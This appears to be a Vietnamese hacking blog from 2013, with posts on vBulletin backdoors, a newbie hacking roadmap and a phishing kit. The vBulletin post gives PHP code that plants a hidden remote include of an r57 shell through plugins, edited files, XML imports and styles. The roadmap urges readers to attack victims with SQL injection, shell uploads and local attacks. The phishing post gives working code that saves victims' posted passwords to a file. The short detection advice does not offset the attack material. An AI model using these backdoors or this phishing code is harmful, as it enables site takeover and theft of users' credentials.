Monday, July 22, 2013

Phương pháp phát hiện và loại bỏ shell trong Database

Có nhiều bạn hỏi tôi cách để phát hiện shell khi hacker include vào Database? Hôm nay tôi làm tut này để trả lời câu hỏi trên và giúp các bạn nhận thức thêm về vấn đề bảo mật.

Trước hết ta phải biết cách thức mà hacker include vào Data thế nào thì sau đó mới có phương pháp để loại bỏ triệt để. Các bạn tham khảo thêm bài viết Phương pháp include shell trong source VBB và cách phòng chống.

Tôi xin nói thêm trong vbb những table có thể lợi dụng để include shell vào là table_template và table_plugin.

Vậy làm thế nào để phát hiện shell khi đã được include vào 2 table này nhỉ?

Cách làm như sau: - Bạn vào Phpadmin của host và search từ khóa

base64

Và làm theo hướng dẫn như hình sau:


Tại sao ta phải search từ khóa base64 mà không phải là từ khóa khác ?

Xin thưa rằng tất cả các con shell hiện nay nếu không được mã hóa thì sẽ bị antivirut tiêu diệt trừ khi đổi tên file thành file.txt

- Việc còn lại của bạn là mở table khả nghi ra và kiểm tra xem có gì đặc biệt khác thường trong đó không.


Chú ý: 

- Đối với table plugin thì bạn có thể delete đi mà không ảnh hưởng gì đến việc hoạt động site.
- Đối với table template nếu bạn thích thì cũng có thể delete còn muốn dùng lại skin đó thì hãy vào admincp rồi nhấn vào revert để vbb tự động edit lại skin cho bạn.
- Bạn có thể áp dụng cách này với những code khác như joomla, new, shop, etc...

Monday, July 22, 2013

Phương pháp include shell trong source VBB và cách phòng chống

Mình viết bài này để giúp tăng cường bảo mật cho forum của các bạn, cho các bạn thấy được cách thức mà hacker đột nhập vào trang web các bạn để từ đó có cách phòng tránh. Mình không khuyến khích các bạn làm theo để thực hiện ý đồ xấu.

Viết tut này cũng có mặt lợi và mặt hại của nó nhưng nếu các bạn biết áp dụng cho mục đích lương thiện thì nó sẽ giúp ích rất nhiều cho bạn

 I/Phương diện hacker - upload shell 

Bỏ qua phần làm thế nào hacker có shell trên host, mình chỉ nói đến việc hacker đã khai thác file config và hoàn toàn chiếm quyền admin của website bạn. Sau đây mình sẽ liệt kê một cách gần như đầy đủ các phương pháp mà hacker có thể chèn shell và ẩn nó trong forum của bạn để có thể dễ dàng trong những cuộc tấn công tiếp theo.

Method 1: tạm gọi là up shell qua việc edit teamplate (cách này gần giống với kiều RFI-remote file include)

Bạn lần lượt làm như sau:

Vào admincp -->Plugin manager -->Add new plugin
Ở phần HOOK Location bạn chọn là : CACHE_TEMPLATE nhé
Phần Name: có thể đặt tên tùy ý
Phần plugin php code hãy dùng đoạn code sau để include shell:

{ 
if($_GET['nameshell']=="heloworld"){ 
include('http://localhost/r57new.php'); 
} 
}


Nhớ kích vào nút đồng ý (yes) để active plugin này nhé .


Bây giờ cùng test nhé ở đây mình test trên localhost.

bạn thêm phần ?nameshell=helloworld vào sau: index.php hoặc image.php, online.php hay bất cứ file php nào ở ngoài index của host, cái này tùy thuộc vào bạn

Ở đây mình thử với index.php nhé


Method 2: chèn shell bằng cách edit file .php có trong host

Bạn tìm những file mà admin ít để ý để chèn đoạn code sau vào nhé, có thể chèn vào bất cứ đâu mà bạn muốn.

if ($_REQUEST['nameshell']=="helloworld") {  include ("http://localhost/r57new.php");  }

Demo: mình edit file announcement.php

<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.7.2
|| # ---------------------------------------------------------------- # ||
|| # Copyright ©2000-2007 Jelsoft Enterprises Ltd. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/
if ($_REQUEST['nameshell']=="helloworld") {  include ("http://localhost/r57new.php");  }
// ######################## SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);

// ##################### DEFINE IMPORTANT CONSTANTS #######################
define('THIS_SCRIPT', 'announcement');

// #################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array(
    'postbit',
    'reputationlevel',
    'posting',

Hưởng thụ thành quả lao động nào


Method 3: là cách import file xml qua plugin

Bạn lần lượt làm như sau:

Download / Upload Plugins --> chọn lấy con shell xml và import vào. (đính kèm ở bài viết)


Bạn có thể mở source file shell xml lên và thay subscriptions.php bằng repair.php hoặc faq.php (bất cứ file .php nào trong admincp mà bạn nghĩ admin site đó sẽ không chú ý đến). Bạn cũng có thể import vào nhiều file cho chắc ăn

Cách run shell cũng khá đơn giản là bạn import shell vào file nào thì run file đó thôi chẳn hạn tôi import shell vào file subscriptions.php tôi sẽ run shell như thế này admincp/subscriptions.php làm theo tương tự với những file khác

demo here:


Method 4: import shell qua skin

Bạn lần lượt làm như sau:

 Styles & Templates --> Download / Upload Styles --> chọn shell để upload (đính kèm ở bài viết)

Bạn muốn thêm shell vào skin nào thì ở phần Merge Into Style chọn skin đó.


và đây là kết quả


cũng cool đó nhỉ

II/Phương diện webmaster - giải quyết sự cố bị hack 

Tiếp sau đây mình xin hướng dẫn các bạn cách clear shell trên host:
- Đầu tiên bạn sẽ phải quan sát thật kĩ xem có file nào lạ không.
- Tiếp theo bạn hãy download source forum về và dùng antivirut để check shell nếu hacker chỉ up shell thông thường lên forum và không dấu nó.
Bạn chú ý xem kĩ những folder trong forum như include, modcp ... Nếu shell đã được mã hóa thì anti sẽ không check ra tốt nhất là nên up một source forum mới lên thay thế source forum cũ.
- Đối vời shell được chèn vào database và source thì tùy theo từng dạng ta có phương pháp phòng chống riêng
 + Method 1: đợi suy nghĩ xong rồi post tiếp
+ Method 2: upload new source như đã nói ở trên.
+ Method 3: bạn vào Plugin Manager bạn bắt đầu tìm với cột Hook Location nếu tìm thấy phần nào có init_startup thì đó chính là con shell mà hacker đã include vào
 + Method 4: remove skin bị đính kèm shell Bài viết có sử dụng tư liệu của mafia_boy,quang hùng, ly0kha, alucar,meoconx ...

 -tut by eCpanel-

TUT hack local attack (symlink)


Friday, May 10, 2013

Hướng dẫn con đường vào Hacking cho Newbie

Hướng dẫn cho newbie.Người vừa bước vào hacking.Chưa có được cái định hướng gì.

Mình viết bài này để định hướng cho các bạn.Có một cái đường đi.Ít nhất là một con đường ngắn hơn so với con đường nếu bạn tự bước đi.Mình cũng nói trước.Đây không phải là hướng dẫn để bạn trở thành một hacker.Mà chỉ là hướng dẫn những điều căn bản để bạn có thể sau này tự học đc.Đỡ bỡ ngỡ không biết học gì làm gì.
Mục tiêu của mình cũng chỉ là đưa ra con đường trở thành một script kiddie Smile

Trước tiên.Mình giới thiệu qua 2 kĩ thuật mà những script-kiddie chúng ta hay sử dụng nhất đấy là local , sqli .Rất nhiều nguời nhầm tưởng là pro 2 lĩnh vực này là đã trở thành hacker.Điều này là sai.Nhưng không sao.Trước tiên ta phải biết nó đã. Smile .Không biết thì cũng còn lâu mới thành hacker được.Thực hiện 2 kĩ thuật này giúp ta có thể hiện thực được việc phá phách.Tăng cảm giác phấn chấn.Cái này là cảm giác được hack một cái gì đấy này.

Hacking bất kể cái nào cũng cần thiết.Nhưng mình chỉ nêu những cái cần thiết nhất phải biết.

- Thứ nhất : Bạn nên bỏ ra một ngày để học các câu lệnh truy vấn SQL . Cái này rất cần thiết ( bản thân sql injection bạn muốn thực hiện mà ko biết sql thì ....

Học lệnh SQL ở đâu: Hãy google những từ khóa như query sql, command sql , select in sql , update in sql .... Đọc một buổi mình tin bạn có thể nắm được sơ sơ rồi.

- Thứ 2 : Bạn nên bỏ ra một vài ngày để làm quen với linux ( cài hệ điều hành ubuntu chẳng hạn.Dùng nó và thao tác lệnh linux để làm quen) . Khi nào bạn làm chủ đựoc các dòng lệnh.Việc local sẽ cảm thấy thoải mái hơn.

Học command linux ở đâu : Thật ra vẫn là google thôi.Có một bạn từng nói.Hacker cũng chỉ là google mà ra.Thực sự google nó là cái công cụ vô cùng hữu ích đối với chúng ta.Nó là công cụ để thu nhận kiến thức.Nếu đã có hướng đi.Bạn cứ google.Kiểu gì nó cũng ra. Quan trọng đó là bạn có hướng đi hay không ? Và google được rồi bạn có tiếp nhận được kiến thức đó hay không ?

Mình thử google cho bạn command trong linux

Rồi đấy.Và tin mình đi.Học hack thì học không bao giờ là thừa.Bạn thấy nhiều câu lệnh nó không dùng trong local.Nhưng nếu được hãy cứ học đi.Chắc chắn đảm bảo với bạn .Muốn tiến đến cái đích là thành 1 hacker.Dù là một hacker tệ hại nhất thì đó là các thứ bạn phải biết.

-Thứ 3 ( hay là bước 3 ): Sau khi bạn nắm được 2 cái cơ bản phía trên rồi.Bắt tay vào bài hack đầu tiên.Thực hiện kĩ thuật được sử dụng đại đa số,và rất nhiều victim bị mắc phải.Đó là SQL injection.

Học ở đâu ? : Mình giới thiệu các bạn link bài cơ bản nhất ở đây .
Làm được bài trên thì bạn đã nắm được cơ bản về việc khai thác sqli rồi đấy.Vậy đối với mục này đã xong chưa.Chắc chắn là chưa xong. Nếu bạn đã thỏa mãn với việc khai thác được sqli rồi.Thì hãy tiếp tục tìm hiểu vì sao site lại mắc lỗi sqli .( Cái này mình để bạn google ) . Và trong phần này.Mình đặc biệt nói các bạn nên chú ý đến kĩ thuật bypass ( vượt qua việc chủ site chặn bạn thao tác truy vấn ) .Đây là cái quan trọng nhất trong đối với một attacker giỏi sqli. Việc này đương nhiên vẫn là google.Nhưng để giúp bạn nhanh hơn.Mình xin giới thiệu 1 vài link để bạn tìm hiểu.Mình không muốn tự viết ra vì làm bài viết thành quá dài.
Thường kết quả thu được sau khi sqli là bạn nhận được một pass đã bị mã hóa.

Để giải mã sqli bạn bạn có thể search mã đó bằng google.Hoặc vào 1 số trang để xem pass bạn lấy được.Có thể xem dưới dạng textclear ( đc decode ) rồi hay không.Mình giới thiệu vài trang.Bạn có thể tìm thêm.Hoặc sài tool nhé.
- Thứ 4 ( Bước thứ 4 ) : Học UP Shell .
Sau khi bạn đã khai thác được sqli thì bước tiếp theo phải học đó là học up shell .Để up được shell bạn cần phải log vào trang quản trị website (admin panel control ). User và pass thì các bạn có thể nhận được từ việc check sqli ở trên (và tất nhiên còn nhiều phương pháp nữa ). Vấn đề tiếp theo là tìm link admin.

Để tìm được link admin.Bạn có thể dùng các tool online.Hoặc tool offline.Việc tìm được phụ thuộc vào link admin có đơn giản hay dễ đoán hay không.

Tool thì mình giới thiệu bạn 1 số tool sau để scan .Như havij , acunetix web vul scanner, script perl , Nhiều lắm,cứ google là ra thôi.

Còn một số link online như sau.

http://scan.subhashdasyam.com/admin-panel-finder.php

Có được link admin,log vào bằng user và pass nhận được.Vấn đề làm sao để upshell.

Thường thì các site chặn việc up file thực thi như php ,php4... Mà chỉ cho up ảnh .Nên chúng ta thường up shell trong qua việc up ảnh.

Các dụng cụ hỗ trợ cũng rất nhiều.Mình giới thiệu 1 số như sau:

Addon live http header , tampper , burpsuite ...rất nhiều.

Dưới đây là một số demo cho các bạn tham khảo . Mình chỉ search google cho các bạn thôi.Chứ chưa chắc là tut hay.Các bạn phải chịu khó.
Ngoài việc up shell qua các mã nguồn tự viết này.Các bạn cũng nên xem qua các tut up shell đối với các open source như joomla,vbulletin,wordpress , nuke ....

Google giúp các bạn luôn nhé.Trong huynhdegroup.net cũng có đầy nhưng mình lười tìm quá.Nên google vậy.

Cho joomla :


CHo Vbulletin ( up qua plugin và qua style... )


Cho wordpress

http://ducdung08clc.blogspot.com/2012/02/mot-so-thu-thuat-up-shell.html

Nói chung là rất nhiều.

- Thứ 5 ( Bước thứ 5 ) : Học Local

Đây là một trong những phương pháp được khá nhiều anh em yêu thích. Để học local thì bạn cần phải chuẩn bị các công cụ như shell
Shell thì vào đây để download 1 số con về dùng nhé.
Và bạn phải xem danh sách các site cùng server để local.Có nhiều tool online như

http://huynhdegroup.net/ip/

Và các tool offline,mình giới thiệu 1 script perl ,down tại đây http://huynhdegroup.net/@VHB@/showthread.php?398-23-04-2013-Tool-reverse-Ip-(perl)-Find-admin-(perl

Bước vào local.Hoàn thiện khả năng local là một quá trình dài.Mình không thể nói hết ở đây được.Chỉ đưa 1 số link cho các bạn đọc.Lấy kinh nghiệm.Thực hành ,kết thúc việc thực hành tự đúc kết cho mình những kinh nghiệm.Từ đó dần dần cải thiện khả năng của mình.
Bước 6 : Sau khi làm được các bước trên.Bác bạn cũng đã mất một thời gian dài.Cũng hình thành được cho mình cái định hướng.Phải làm gì.Học gì để phát triển mình.

Lúc này các bạn hãy bỏ một khoảng thời gian.Để tìm hiểu.Đọc về các bug,exploit được public đầy rẫy trên mạng.Tìm các victim.Thực hiện. Từ đó hình thành tư duy check website.

Tự sưu tập cho mình các tool hữu dụng.Hỗ trợ trong quá trình hack.

Qua các bước ngày,Mình nghĩa các bạn hãy bắt đầu từ bỏ việc học một cách step by step.Bắt đầu học một cách nghiêm túc thực sự.Tìm hiểu về coding.Nghiên cứu networking. Tìm hiểu cơ chế hacking . Tự exploit hoặc exploit thông qua lí thuyết mà không step by step.Nghiên cứu các kĩ thuật hacking đã được public rồi.Tập tư duy.Mình nghĩ đến đây các bạn có thể sẽ tự hiểu mình phải làm gì.Phải học gì.Tuyệt đối không được thoải mãn với sqli ,xss , hay local. Nhấn mạnh.Đây chỉ là cái khởi đầu thôi.

Tổng hợp by Icarus - Admin VHB_Group

Friday, May 10, 2013

Thursday, May 9, 2013

Code Phishing

Phishing có nghĩa là làm một website giả mạo để người dùng lầm tưởng là trang chính và cung cấp các thông tin quan trọng cho attacker như user và password.


Chúng ta cần phải có những thứ cần thiết sau:
  1. Hosting
  2. Domain
  3. Source
Vấn đề 1 và 2 thì các bạn có thể mua hoặc kiếm ở đâu đó, ở đây mình chỉ cung cấp source gồm 3 file chính.

File index.html của trang web giả mạo

- Có thể bạn muốn làm 1 trang facebook, gmail hay yahoo giả mạo. Chỉ cần xem source code của trang đăng nhập, copy và lưu lại thành "index.html".

- Chú ý phần code của nó, tìm "action=".  Sau đoạn này là một URL, khi ta đăng nhập nó sẽ chuyển ta đến URL này. Vì vậy chúng ta phải chuyển hướng đến 1 nơi khác, đó là chuyển đến file "login.php" sau đây.

File Login (login.php)
<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
File lưu ID và Password của victim (pswrds.txt)

Bước cuối cùng là upload 3 file này lên host của bạn, dụ victim đến và ...

Thursday, May 9, 2013